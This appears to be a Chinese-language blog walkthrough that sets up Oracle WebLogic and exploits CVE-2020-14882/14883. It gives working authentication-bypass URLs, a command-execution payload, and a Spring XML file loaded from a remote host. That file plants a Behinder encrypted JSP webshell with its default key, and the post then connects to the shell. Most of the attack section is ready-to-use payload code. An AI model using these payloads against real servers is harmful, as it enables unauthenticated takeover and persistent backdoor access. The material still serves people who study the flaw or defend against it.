CVE-2020-14882 (weblogic未授权命令执行)

漏洞简介

远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。

环境搭建

0x01weblogic安装

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

CVE-2020-14882    (weblogic未授权命令执行)

0x02创建域

CVE-2020-14882    (weblogic未授权命令执行)
CVE-2020-14882    (weblogic未授权命令执行)

0x03启动weblogic

输入创建域时的用户名和密码启动服务
CVE-2020-14882    (weblogic未授权命令执行)

进入console页面
CVE-2020-14882    (weblogic未授权命令执行)

漏洞利用

0x01越权

URL加入payload,可以直接进入后台

http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=AppDeploymentsControlPage
&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

CVE-2020-14882    (weblogic未授权命令执行)

0x02命令执行

例如弹出记事本

http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=HomePage1
&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27notepad.exe%27);%22)

CVE-2020-14882    (weblogic未授权命令执行)
通过FileSystemXmlApplicationContext()载并执行远端xml文件:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[echo "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"
		> "../../../wlserver/server/lib/consoleapp/webapp/images/shell.jsp"]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

将poc.xml放入远端web服务器
CVE-2020-14882    (weblogic未授权命令执行)
执行payload

http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=
&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.7/poc.xml")

打开冰蝎,连接webshell

CVE-2020-14882 (weblogic未授权命令执行)

上一篇:7 HTTP 的报文


下一篇:Webpack5 使用webpack-dev-serve的时候报错的问题呢(Cannot find module 'webpack-cli/bin/config-yargs')